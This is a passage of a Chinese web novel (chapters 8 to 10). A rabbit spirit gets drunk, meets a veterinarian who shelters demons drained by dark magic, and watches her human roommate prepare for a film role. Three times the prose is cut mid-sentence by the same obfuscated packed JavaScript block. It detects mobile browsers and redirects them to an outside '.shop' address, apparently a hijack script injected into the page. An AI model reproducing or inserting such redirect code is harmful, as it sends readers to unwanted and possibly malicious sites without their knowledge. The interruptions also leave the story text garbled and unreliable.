冰箱里塞得满满当当,蔬菜、肉类、鸡蛋、牛奶,连调料都备齐了。他在心里默默给罗亦涵的团队点了个赞,然后开始洗菜、切菜、热油。 红烧排骨、蒜蓉西兰花、番茄蛋花汤,两菜一汤,简简单单。他还从橱柜里翻出一瓶没开封的红酒,标签是法文,他看不太懂,但看包装就知道不便宜。 “乐乐,开饭啦!” 容彦把汐桐的小碗放在餐桌一角,里面是洗得干干净净的胡萝卜条和嫩绿的青菜叶。他自己的菜摆在对面,排骨冒着热气,汤还在锅里咕嘟咕嘟地翻滚。 汐桐蹲在小碗前,看了看碗里的胡萝卜,又看了看桌上那盘油亮亮的红烧排骨,喉头不争气地动了一下。 她忍住了。 一个高贵的妖族,怎么能觊觎凡人的食物?她可是吃灵气的!是吃灵气的! 可是那个排骨好香…… 容彦给自己倒了一杯红酒,举起杯子,对着对面那只正用爪子扒拉胡萝卜、但明显心不在焉的小兔子,郑重其事地说:“乐乐,谢谢你。” 汐桐抬头看他,红棕色的眼睛里映着他的笑脸。 “谢谢你在我最倒霉的时候出现在我身边。”容彦弯了弯嘴角,然后一口把酒干了,眼角有细细的湿意,但很快就被他眨掉了。 他拿起筷子,夹了一块排骨塞进嘴里,含混不清地嘟囔:“从今天开始,好好干,一切都会好起来的。” 汐桐看着他埋头吃饭的样子,心里软得一塌糊涂。 她偷偷瞥了一眼桌上的红酒瓶,又瞥了一眼容彦。他正专心致志地啃排骨,没注意到她。 汐桐的耳朵转了转,小爪子悄悄伸出,勾住酒瓶的瓶颈,小心翼翼地往自己碗边拖。 就尝一口。 她是妖族,区区凡人酿的酒,能奈她何? 小小的兔子嘴巴凑到杯沿,粉色的舌头小心翼翼地舔了一下。先是皱了皱鼻子,然后眼睛一亮—— 甜的。 又舔了第二口,第三口,越舔越大口,越舔越上头。 然后她又趁容彦转身盛汤的功夫,飞快地从盘子里叼走了一块排骨,缩到桌子底下,两只小爪子抱着骨头,啃得满嘴油光。 容彦端着汤锅回来,看到空了一个缺口的排骨盘子和那瓶明显矮了一截的红酒,愣了一下。 “咦?我记得倒了一杯就没再倒啊……” 他挠了挠头,目光落在桌子底下正在疯狂擦嘴的汐桐身上。 小兔子耳朵竖得笔直,嘴巴上还挂着油光,红棕色的眼睛心虚地躲闪着,假装自己只是一只无辜的毛绒玩具。 容彦想到一种可能性,瞬间慌了起来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588899|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “乐乐,你是不是偷吃了?” 汐桐“咕”的一声,把头埋进了爪子里。 * 晚上十点,五星宠物医院的玻璃门半掩着,暖黄色的灯光从里面透出来,在空荡荡的街道上投下一小片光晕。 值班医生拎着包走到门口,正准备下班,一个身影匆匆从夜色中跑来。 “医生,麻烦您帮我看看它!” 男人喘着气,怀里抱着一只毛茸茸的小兔子。他穿着一件洗得发白的卫衣,帽绳被风吹得歪在一边,额前的碎发被汗打湿了几缕,贴在眉骨上。整个人带着一种深夜独有的疲惫和匆忙,却丝毫不影响那张脸的优越。 眉骨高而利落,鼻梁挺直如削,薄唇微微抿着,眼底是一目了然的焦急。明明是狼狈的跑姿、凌乱的发型、皱巴巴的衣服,可那张脸往那儿一搁,就像一幅来不及装裱的画,粗粝的边框挡不住里面的光华。 但医生的目光只在他脸上停留了半秒,就落到了他怀里的兔子身上。 那只兔子小小的,蜷在男人掌心里,脑袋软塌塌地歪向一边,半截粉色的小舌头从嘴角耷拉出来,眼神迷迷蒙蒙的,像蒙了一层雾。耳朵也没精打采地垂着,偶尔无意识地抖一下,然后又不动了。 整只兔看起来不太好。 医生皱了皱眉,看了一眼墙上的挂钟,又看了一眼那只状态明显不太对劲的小兔子,还是侧身让开了门:“进来吧。” 容彦像得了赦令一样,抱着汐桐快步走了进去。走廊的灯光白得晃眼,空气中弥漫着淡淡的消毒水味道。他的脚步又急又轻,生怕颠簸让怀里的小东西更加不舒服。 还没走到诊疗室,走廊尽头忽然传来一阵脚步声。 一个女人从里间走了出来,穿着一件白大褂,袖子卷到手肘,露出纤细但有力的小臂。她很年轻,看上去不过二十五六,像是刚从大学毕业没多久的样子,但那双眼睛沉稳而清亮,带着一种与年龄不符的笃定。 乌黑的长发松松地绾在脑后,几缕碎发落在耳畔,衬着一张素净的面孔。五官不是那种攻击性的漂亮,而是温温柔柔地长在那里,像一杯温度刚好的白水,看着就让人安心。 “怎么了?”她看了一眼值班医生,声音不大,却有一种让人自然而然想回答的分量,“不是已经下班了?” “院长,”值班医生连忙迎上去,压低声音说,“这只兔子好像问题比较严重,我看它状态不太对,就先让进来了。” 年轻女人微微点了点头,目光落在容彦怀里的汐桐身上,从上到下扫了一遍,然后平静地说:“你先下班吧,交给我。” 值班医生如释重负地松了口气,转头对容彦说:“这是我们院长,程潇雨。华州农业大学毕业的,而且是兽医世家,三代都干这行。你放心,交给她没问题。” 容彦紧绷的肩膀微微松了松,点了点头,正要开口说声“谢谢”,程潇雨已经朝他伸出手:“给我吧。” 她的语气不冷不热,不是冷漠,而是一种干净利落的专业。 容彦犹豫了不到半秒,小心翼翼地把汐桐递了过去。程潇雨接过兔子的动作极其熟练,一只手托住汐桐的背部,另一只手稳稳地兜住她的后腿,像一个经验丰富的月嫂接过新生儿,稳稳当当,不轻不重。 “你不用进来。”她丢下这句话,转身走进了诊疗室,门在身后“咔哒”一声关上了。 容彦站在门外,盯着那扇紧闭的门,手指无意识地攥了攥衣角。 诊疗室里,无影灯亮起,白光照在汐桐身上,把她那一身柔软的绒毛照得像镀了一层银。 汐桐迷迷糊糊的,感觉自己被放在了一张硬邦邦的台面上,硌得后背不太舒服。她哼哼唧唧地翻了个身,爪子在空中划拉了两下,然后慢慢睁开了眼。 视野还是有点糊,像隔了一层毛玻璃。她使劲甩了甩脑袋,耳朵跟着晃了两下,又甩了甩,才勉强看清眼前的画面。 “醒了?” 一个陌生的声音在耳边响起,不紧不慢的,带着一点淡淡的笑意。 9. 第九章 汐桐猛地清醒了。 眼前是一张年轻女人的脸。乌发白衣,眉眼温柔得像三月的春风,嘴角含着浅浅的弧度,正低头看着她。 汐桐的瞳孔骤然缩紧。 她扫了一眼四周,陌生的房间,陌生的气味,陌生的白大褂,还有头顶那盏亮得刺眼的灯。酒精棉的味道混着金属器械的冷光,让她的神经瞬间绷成了一根弦。 “你是谁?”汐桐浑身炸毛,一只耳朵竖起,一只耳朵向后紧贴着脑袋,四条腿蹬着台面往后退,小小的身体缩成一团,红棕色的眼睛里满是警惕,“这是哪儿?你要干什么?” 程潇雨没有被她凶巴巴的样子吓到,反而轻轻笑了一声。 “别紧张。”她伸出手,动作很慢,像在接近一只受了惊的野猫,指尖停在了离汐桐几厘米的地方,没有强行去碰她,“我叫程潇雨,是这家医院的院长。你喝多了,被你的主人,不对,应该叫室友?反正就是那个挺好看的男人送过来的。” 汐桐的警惕心没有放松,戒备地盯着她。她喝了酒,脑子本来就转得慢,再加上眼前这个人出现得太突然了。 一个开宠物医院的凡人,怎么知道她是妖? “我知道你在想什么。”程潇雨站起来,这一次没有征求汐桐的意见,直接伸手把她从台子上捞了起来,稳稳当当地箍在怀里。 汐桐挣扎了两下,发现这个看起来温温柔柔的女人,手劲大得离谱,像被一把铁钳箍住了似的,四条腿蹬了半天纹丝不动。 “你——” 话没说完,程潇雨抱着她,一个转身。 眼前的空间像被一只无形的手拧了一下,空气扭曲了一瞬,景物在零点几秒内完成了彻底的置换。没有电梯的轰鸣,没有楼梯的脚步声,甚至连风声都没有。 只是一瞬间,她们就已经从一楼的诊疗室,出现在了另一个完全陌生的空间里。 汐桐呆住了。 瞬移。 凡人是做不到这个的。 “你……”汐桐瞪大了眼睛,红棕色的瞳孔里映出眼前的一切。 三楼是一个打通的大平层,没有隔断,没有墙壁,整个空间通透得像一片开阔的草原。柔和的暖黄色灯光从天花板洒下来,落在一排排软垫和低矮的沙发上。 地上躺着各种各样的动物。 一只橘猫蜷在软垫上,肚子微微起伏着,呼吸浅而急促,皮毛暗淡无光,像一件被洗了太多次褪了色的旧衣服。它旁边是一只边境牧羊犬,毛色灰扑扑的,眼睛半睁着,瞳孔浑浊得像蒙了一层灰,尾巴尖偶尔动一下,像是在回应什么遥远的声音。 再远一点,是一只仓鼠,小小的身体缩成一团,几乎看不出在呼吸。还有一只鹦鹉,羽毛凌乱地耷拉着,头歪在一边,爪子无力地蜷着,像一朵快要枯萎的花。 猫、狗、鸟、鼠、甚至还有一条蛇,软塌塌地盘在垫子上,鳞片失去了应有的光泽,像一层干枯的树皮。 他们都有一个共同的特点—— 灵气稀薄得像风中残烛。 那种感觉,就像有人把他们的生命力一点一点抽走了,只剩下一个空壳子,勉强维持着心跳和呼吸。 汐桐的血一下子凉了半截。 “这是怎么回事?”她的声音不自觉地低了下去,两只耳朵都向后飞,不是警觉,而是震惊到失语后的本能反应。 程潇雨抱着她,走到一只橘猫身边蹲下,伸手轻轻摸了摸它的头。橘猫微微睁开眼,看了她一眼,又闭上了,像是连睁眼的力气都要省着用。 “它们都是妖。”程潇雨的声音依旧温柔,但温柔底下压着一层很沉很沉的东西,像冰面下的暗流,“被人用邪术抽干了灵力。我找到它们的时候,它们被关在一个特殊的阵法里,灵脉全断,妖丹碎裂,身上的灵力被抽得一滴不剩。” 她顿了顿,看向汐桐。 “我勉强捡回它们一条命,但它们再也无法修炼了,连人形都维持不住,只能以真身的形态活着。就像你看到的这样。” 她将汐桐放在地上,又看了一眼满地的动物,声音轻得像一声叹息:“跟等死的垂暮老人,没什么区别。” 汐桐盯着那只橘猫,喉咙像被什么东西堵住了。 灵气是妖族的命。没有灵气,就像人没有了血液,一点一点地干涸,一点一点地枯萎,直到最后连心跳都维持不住。 她太清楚那种感觉了。 刚醒来的时候,她妖力尽失,躺在祭坛的石板上,浑身上下连抬一根爪子的力气都没有。那种从骨子里往外渗透的虚弱感,像有一万根针同时在扎她的经脉,又像有人在她身体里凿了一个洞,所有的力气都顺着那个洞哗哗地往外流。 她以为自己要死了。 虽然凭借最后的灵力逃了出来,可是如果没有遇见容彦这个大补丸,她很快也会变成他们这样。 是容彦把她从那个深渊里拉了回来。一天一天,一点一点,虽然慢,但她确实在恢复。 而这些妖…… 汐桐环顾四周,十几只,横七竖八地躺在这间温暖的房间里,有人给它们铺了软垫,有人定时给它们喂食喂水,有人用尽了办法想留住它们的命。 但它们不会再好了。 灵脉断了就是断了,妖丹碎了就是碎了。这个世界上,没有什么灵丹妙药能让它们回到从前。 “它们的灵气还能补回来吗?”汐桐问,声音闷闷的,“比如用大补丸。” 程潇雨摇了摇头,那一下摇头很轻,却重得像一座山。 “我试过所有办法。灵药、阵法、渡灵气,都不行。它们的灵脉像被烧断的桥,灵气根本过不去。”她低头看着汐桐,眼神里有了一种不一样的光,“但你不一样。” 汐桐一怔。 “你后背也有中了邪术才会留下的痕迹,”程潇雨说。 汐桐下意识地扭着脖子往后看,脑袋转来转去,耳朵跟着甩来甩去,像一只追自己尾巴的笨猫,转了好几圈什么都没看见。 程潇雨被她这副模样逗笑了,从旁边的柜子里拿出一个三面折叠镜,打开,放在汐桐身后。 “一般看不到,通过特殊的方法才会显现,”程潇雨的手心在她背上转了一圈。 再通过镜面相互折射,汐桐终于看见自己后背的图腾。 尾椎骨上方,巴掌大的一个印记,颜色是暗沉的灰黑色,像是被烧红的烙铁烫上去的,又像是从皮肤底下自己长出来的。纹路繁复而诡异,像一朵闭合的曼陀罗,花瓣层层叠叠地收拢,每一片花瓣上都布满了细密的纹路,像是某种古老的文字,又像是某种扭曲的阵法。 最中间,是一个圆形空洞,像一个被挖掉的眼窝,空荡荡的,看久了让人觉得心里发毛。 汐桐盯着镜子里那个印记,瞳孔一点一点缩紧。 她醒来的时候就在祭坛上,什么都不知道,什么都想不起来。她以为自己只是被人抓去炼妖丹,侥幸逃了出来。她不知道自己的后背什么时候多了这样一个东西,更不知道这个东西意味着什么。 “虽然你们有着一模一样的图腾,”程潇雨的声音把她拉回现实,“但你是我见过的唯一一个,不仅活着,而且还能恢复灵力的。” 汐桐沉默了很久。 “所以你想让我帮你,”她慢慢说,“研究一下我为什么还能恢复,看看能不能找到办法救它们。” 程潇雨没有绕弯子,点了点头:“是。” 她没有说漂亮话,没有打感情牌,只是安安静静地站在那里,怀里还抱着那只橘猫,手指轻轻梳理着它干枯的毛发。那双温柔的眼睛看着汐桐,里面有期待,但没有逼迫。 汐桐低头看着满地的妖。 那只橘猫的胡须断了好几根,露出光秃秃的皮肤。边境牧羊犬的爪子干裂出一道道口子,像干旱季节龟裂的土地。仓鼠的小爪子蜷缩在胸前,指甲又长又脆,像一碰就会碎掉的薄冰。 它们曾经和她一样,能跑能跳,能化形能修炼,能在阳光下大笑,能在风雨中狂奔。 现在它们躺在这里,连翻个身都要用尽全身的力气。 汐桐不知道它们是谁的朋友、谁的家人、谁的牵挂。她只知道,如果没有人帮它们,它们就会这样一天一天地耗下去,直到某一天,连呼吸都变成一种奢侈。 她想起自己刚醒来时的绝望。浑身无力,妖力尽失,躺在冰冷的祭坛上,连哭的力气都没有。 如果她没有遇见容彦…… 她咬了咬牙。 “好。” 一个字,轻轻的,却像是用尽了全部的力气。 程潇雨愣了一下,随即笑了。那笑容不大,却像冬天的阳光照在雪地上,干干净净的,带着一种让人眼眶发酸的温度。 “谢谢你。”她说。 汐桐别过脸去,耳朵不自觉地抖了抖,嘴巴张了张想说什么“我只是心情好”“不过是可怜它们”之类的话,但最终什么都没说出来。 她只是又看了一眼那只橘猫。 橘猫似乎感受到了什么,微微睁开眼,浑浊的瞳孔里映出汐桐毛茸茸的轮廓。它的嘴巴动了动,没有声音,但那口型汐桐看懂了。 “谢谢。” 汐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588900|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桐猛地转过头,耳朵压得低低的,两只小爪子攥成了拳头。 “别谢我。”她小声说,声音闷闷的,像是从嗓子眼里挤出来的,“等我真的能救你们了,再谢也不迟。” 程潇雨轻轻笑了一声,没有再说话。她走到窗边,把窗帘拉开一条缝。月光从缝隙里漏进来,落在满地的动物身上,给它们灰蒙蒙的毛发镀上了一层银白色的光。 那一瞬间,它们看起来像是睡着了,而不是在等死。 * 走廊里的灯光白得有些晃眼,容彦靠在诊疗室对面的墙上,手机屏幕亮了又灭,灭了又亮。 半个小时了。 他把手机揣回兜里,又掏出来,看了一眼时间,再揣回去。来来回回好几次,最后干脆把手机塞进裤袋,双手抱胸,盯着那扇紧闭的门,一动不动。 走廊里很安静,安静得能听见中央空调出风口细微的嗡鸣声。墙上的挂钟走得不紧不慢,秒针一格一格地跳,像踩在他心尖上。 终于在他忍不住要抬手敲门的那一刻,“咔哒”一声,门开了。 程潇雨抱着汐桐走出来,白大褂的袖子不知道什么时候放了下来,遮住了之前露出的手腕。她的表情没什么变化,依旧是那副温温柔柔、不紧不慢的样子,仿佛刚才什么都没发生过。 而她怀里的汐桐—— 圆溜溜的红棕色大眼睛正精神抖擞地睁着,耳朵竖得笔直,两只小爪子搭在程潇雨的手臂上,脖子伸得长长的,正朝容彦的方向张望。那模样,哪还有半点刚才醉醺醺歪着舌头的影子? “乐乐!”容彦三步并作两步迎上去,小心翼翼地把汐桐接过来,托在掌心里。 他翻来覆去地看了好几遍,先看耳朵,又看眼睛,再看爪子,最后把汐桐整个翻过来,露出毛茸茸的肚皮,确认心跳正常、呼吸平稳,这才长长地舒了一口气。 汐桐被他翻得七荤八素,四脚朝天地躺在掌心里,整只兔都是懵的。她“咕”了一声,四条腿在空中蹬了蹬,表达了一下不满,但容彦根本没注意到。 “谢谢你,程医生。”容彦把汐桐正过来,抱在怀里,抬起头,语气真诚。 “没事。”程潇雨毫不在意,一边脱手套一边随口说,“过几天来复查一下就行。” 容彦点了点头,另一只手调出手机付款码:“多少钱?” 程潇雨的动作微微一顿。 她抬眸,目光从手套上移开,落在汐桐身上。汐桐也正看着她,红棕色的眼睛里有警惕、有试探,还有一点点说不清道不明的东西。 两人的目光在空中交汇了不到半秒。 程潇雨的嘴角微微弯了弯,那弧度很浅,浅到几乎看不出来。她收回视线,语气依旧淡淡的,像在说一件微不足道的小事:“不用了。这点小问题我都不好意思收费。” 她顿了顿,看了一眼汐桐,又补了一句:“而且我和这只兔子挺投缘的。” “这不行的,医生——”容彦急了,往前追了一步。 程潇雨根本不理他。她把脱下来的手套随手扔进医疗废物桶里,转身就往外走,步伐不快不慢,但每一步都带着一种“这事没得商量”的干脆。 “医生——” “我该下班了。” 程潇雨头也不回地丢下这句话,推开走廊尽头的玻璃门,身影消失在夜色里。 门在风中轻轻晃了两下,发出细碎的“吱呀”声。 容彦站在走廊里,怀里抱着汐桐,张了张嘴,想说点什么,最终什么也没说出来。 “乐乐,”他的声音轻轻的,像在自言自语,又像在对她说,“你真是小福星。” 汐桐没有看他。 她安静地窝在他怀里,红棕色的眼珠骨碌碌地转着,一会儿看看走廊尽头那扇还在晃动的玻璃门,一会儿看看头顶白得刺眼的日光灯,不知道在盘算什么。 耳朵微微抖了一下,又一下。 容彦抱着汐桐走出宠物医院的时候,夜风迎面扑来,带着初夏特有的潮湿和温热。他低头给汐桐拢了拢耳朵,怕风吹着她。 汐桐趁机从他臂弯的缝隙里探出头,往后看了一眼。 宠物医院三楼的窗户里,亮着一盏暖黄色的灯。窗帘没有完全拉上,露出一条窄窄的缝隙。 一个身影站在窗前,正目送着他们。 程潇雨。 她在看她。 不。 汐桐的瞳孔微微缩了缩,她在看容彦。 那个眼神,和刚才在诊疗室里看自己时完全不一样。温柔底下藏着的东西,像一把没有出鞘的刀。 10. 第十章 #容彦签约华晨娱乐#沸 #华晨娱乐官宣新艺人#热 #容彦翻身了?#新 2026年6月4日,上午十点整。 华晨娱乐官方微博发布了一张剪影海报:一个男人的侧脸轮廓,线条利落如刀削,背景是破晓时分的万丈霞光。没有正脸,没有名字,只有一个字:「启」 配文:「新篇章,即将开启。@容彦」 评论区在三十秒内炸了锅。 “卧槽?那个容彦?被江川里公开处刑的那个?” “华晨娱乐?那可是业内资源最硬的经纪公司之一,怎么签了个烫手山芋?” “笑死,这是要搞文艺复兴吗?黑料咖也有人要?” “楼上嘴巴放干净点,哥哥的黑料有实锤吗?全是营销号在带节奏!” “不管怎么说,华晨敢签他,说明他背后有人。” “有人?谁啊?华晨的罗总?那可是出了名的不近人情。” “哥哥那么好,值得被看见。” 舆论开始悄悄转向。虽然质疑声依然铺天盖地,但越来越多的人开始注意到一个事实,那些曾经像附骨之疽一样缠着容彦的黑料,正在以一种诡异的速度从各大平台上消失。 不是被压下去,而是被人一点点地、不动声色地扒出了真相。 当然,这些都是后话。 此时此刻,容彦正坐在《逐梦少年》剧组的化妆间里。 化妆间的灯光明亮却不刺眼,环形灯管在天花板上围成一圈,把整个房间照得通透。墙壁上贴满了《逐梦少年》的角色概念图,电竞键盘、鼠标、耳机等元素随处可见,角落里还放着一台作为道具的顶配游戏主机,机箱的RGB灯光在墙角缓慢流转。 容彦靠在化妆椅上,椅背微微后仰,方便化妆师操作。他已经换好了服装,一件白色的简约T恤,外搭浅蓝色的薄款牛仔外套,下身是深灰色的束脚运动裤,脚上踩着一双干净的帆布鞋。 很普通的少年打扮,但穿在他身上,就有一种说不出的清爽感。 化妆师小王站在他身后,手里拿着电卷棒,正对着镜子里的他比划来比划去,眉头微皱,似乎有些拿不定主意。 “容老师,这个妆容怎么样?”小王试探性地问道,“按照原设定,唐子昂刚出场的时候是个热血少年嘛,所以我给他设计了一款比较有活力的造型,微卷的刘海,加上这个锁骨链,看起来会更张扬一些。” 他一边说,一边拿起一条细银链在容彦胸前比了比。链子不粗,坠子是一个小小的闪电形状,在灯光下闪着细碎的光。镜子里的容彦,微卷的刘海蓬松地搭在额前,刘海微微上翘,露出一点额头,显得朝气蓬勃。锁骨链在领口处若隐若现,衬得脖颈线条修长而干净。整个人看起来确实很“热血”,那种青春洋溢、对未来充满期待的感觉,很符合原着里唐子昂初入电竞圈时的样子。 但容彦看着镜子里的自己,目光在那条闪电锁骨链上停留了一秒,然后缓缓摇了摇头。 “小王,能帮我调整一下吗?” 他抬手,指尖拨了拨自己额前被卷棒弄出弧度的刘海,语气不急不慢,像是在跟一个老朋友商量事情。 “唐子昂最开始是个乖乖男。他听从父母的教诲,认真读书,成绩很好,是那种老师眼里的好学生、邻居嘴里‘别人家的孩子’。他的热血和叛逆不是一开始就表现出来的,而是在追逐电竞梦想的过程中,一点一点从骨子里长出来的。” 容彦顿了顿,看向镜子里自己的眼睛,“所以第一场戏,他应该是个文静的乖乖男。太张扬的话,后面的成长弧线就不够明显了。” 小王愣了一下,手里的电卷棒悬在半空中,表情从犹豫变成了认真。他想了想,点了头:“有道理。” 容彦见他听进去了,便继续往下说,一边说一边比划:“卷发可以稍微拉直一点,不用完全直,保留一点点自然的弧度就行,太卷会显得太活泼。那条项链——” 他看了一眼锁骨链,轻轻推回去,“先不要了吧。等后期他决定走上职业道路的时候,再戴类似的配饰,会更有仪式感。” “还有,能不能借一副眼镜?”容彦歪了歪头,嘴角微微弯了一下,带着一点不好意思的弧度,“就是那种普通的黑框平光镜,书呆子气重一点的。” 小王眼睛一亮:“有!我马上去找!” 他放下电卷棒,转身跑到道具柜前翻找起来。化妆间的角落里堆了好几个大箱子,里面装满了各种眼镜框、首饰、发饰之类的小道具。小王翻了一会儿,找出了一副经典的黑色方框平光镜,镜片没有度数,但做工不错,看起来斯斯文文的。 “容老师,这副行吗?” 容彦接过来,戴上。 镜子里的人变了。 原本微卷的刘海被稍稍拉直,蓬松但不凌乱,干干净净地搭在额前。黑框眼镜遮住了他眉骨和眼窝之间过于深邃的线条,整个人一下子柔和了下来。那条被取掉的锁骨链让领口空空荡荡的,反而衬得脖颈线条修长而干净。 他还是他,但气质完全不同了,不是那个在舞台上光芒万丈的C位,而是坐在教室后排、安安静静做题的学长。你看他一眼,会觉得他应该是个学霸,是那种考试永远第一、但从不炫耀的好学生。 小王退后两步,上下打量了一番,忍不住拍了一下手:“容老师,您真有眼光!这一改,整个人的气质都对了!导演肯定满意!” 容彦笑了一下,没说话。 他转头看向镜子,目光穿过镜片上自己的倒影,不知道在看什么。 当初,不,也就是一个月前,他在剧组可不是这个待遇。 那时候他还是江川里手下的十八线小糊咖。进组拍戏,化妆师连正眼都不瞧他一下,化完就走,他说“能不能调整一下”,人家头都不回地说“按原方案”。他想跟导演聊角色,导演助理拦在门口说“导演在忙”。他提的意见,没人听;他的想法,没人理。他就像一个会说话的背景板,存在只是为了在片场名单上多填一个名字。 现在不一样了。 不是因为他变了,是因为他背后站着的人变了。 容彦深吸一口气,把那点说不清是释然还是苦涩的情绪压了下去。 这个社会就是这样现实。 “那就这样吧。”他对小王点了点头,声音很轻,但很真诚,“谢谢。” “应该的应该的!”小王笑得眼睛弯弯的,开始收拾化妆台上的工具。 就在这时,门外传来一阵骚动。 走廊里响起了凌乱的脚步声,有人在小声惊呼,有人在低声交谈,夹杂着高跟鞋敲击地面的“哒哒”声,由远及近。化妆间的门虚掩着,门缝里可以看到几个工作人员匆匆跑过去,脸上带着一种“大人物来了”的紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588901|205402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和兴奋。 “罗总来了!” “快点快点,收拾一下东西——” 容彦微微偏头,看向门口。 门被人从外面推开。 最先迈进来的是一双皮鞋,黑色,锃亮,每一步都踩得不急不缓。往上是笔挺的深灰色西装裤,手工剪裁的线条利落得像用尺子量过的。再往上白衬衫,袖口的扣子是低调的深蓝色珐琅,领口没有系领带,解开了最上面一颗纽扣,露出一小截锁骨。 罗亦涵站在门口,微微偏头,目光在整个化妆间里扫了一圈。他的表情淡淡的,嘴角挂着那标志性的、让人猜不透的浅笑,周身的气场却让房间里所有人都下意识地屏住了呼吸。 但所有人的目光只在罗亦涵身上停留了不到半秒。 因为他的身后,跟着一个女人。 一个美得不像真人的女人。 波浪般的及腰长发垂落肩头,发丝在灯光下泛着柔和的光泽,像瀑布一样倾泻而下。她的五官精致得像洋娃娃,红棕色的眼眸大而明亮,眼尾微微上挑,带着几分慵懒和漫不经心。皮肤白皙得近乎透明,嘴唇是淡淡的粉色,像刚摘下来的樱花花瓣。 她穿着一件奶白色的针织开衫,里面是浅杏色的吊带长裙,腰身纤细得不堪一握。整个人站在那里,像一幅刚从画里走出来的古典美人图,又像一朵开在人间的山茶花,明艳、夺目、让人移不开眼。 但最让人移不开眼的,是她的气质,那种一看就不是凡人的气质。不是说她有多高冷,而是她看人的眼神,像在看一群蚂蚁。不是傲慢,是一种浑然天成的、从骨子里透出来的疏离感。 化妆间里安静了一瞬。 所有人的目光都在汐桐身上停留了好几秒,然后才后知后觉地意识到自己失态了,连忙收回视线,但还是忍不住偷偷地看。 “罗总好。”工作人员齐刷刷地鞠躬,眼睛却一个劲儿地往汐桐身上瞟。 场务的小刘是个二十出头的姑娘,平时就爱八卦,此刻嘴巴张成了O型,凑到旁边的同事耳边,压低声音说:“天哪,罗总什么时候交女朋友了?好漂亮啊!” 同事也小声回她:“别瞎说,罗总从来不公开私生活的。也许是亲戚?” “亲戚?你见过这样的亲戚?那眼睛,那鼻子,那气质,一看就不是普通人家的。” “也是……而且你看她走路的样子,好轻啊,像踩在云上一样。” “不会是罗总签的新人吧?华晨最近不是在扩张吗?” “有可能!这颜值一出道就能红吧?” 小刘还想说什么,被旁边的老员工拉了一把,使了个眼色。小刘立刻闭嘴,低下头,不敢再看。 这些窃窃私语声音不大,但汐桐的耳朵是什么耳朵?一个字不漏地全听了进去。 她面上不动声色,嘴角甚至还微微翘着,保持着那种“本妖根本不care你们凡人怎么看”的淡然。但心里已经翻了无数个白眼。 女朋友?新人?亲戚? 呵。 本妖是你们罗总的祖宗。 她瞥了一眼罗亦涵的背影,心里默默加了一句,虽然是假的。 罗亦涵似乎感觉到了她的目光,头也没回,只是不动声色地伸出一只手,在身侧微微摆了摆,像是在说“别闹”。 汐桐把视线移开,越过罗亦涵的肩膀,看向化妆台前的那个男人。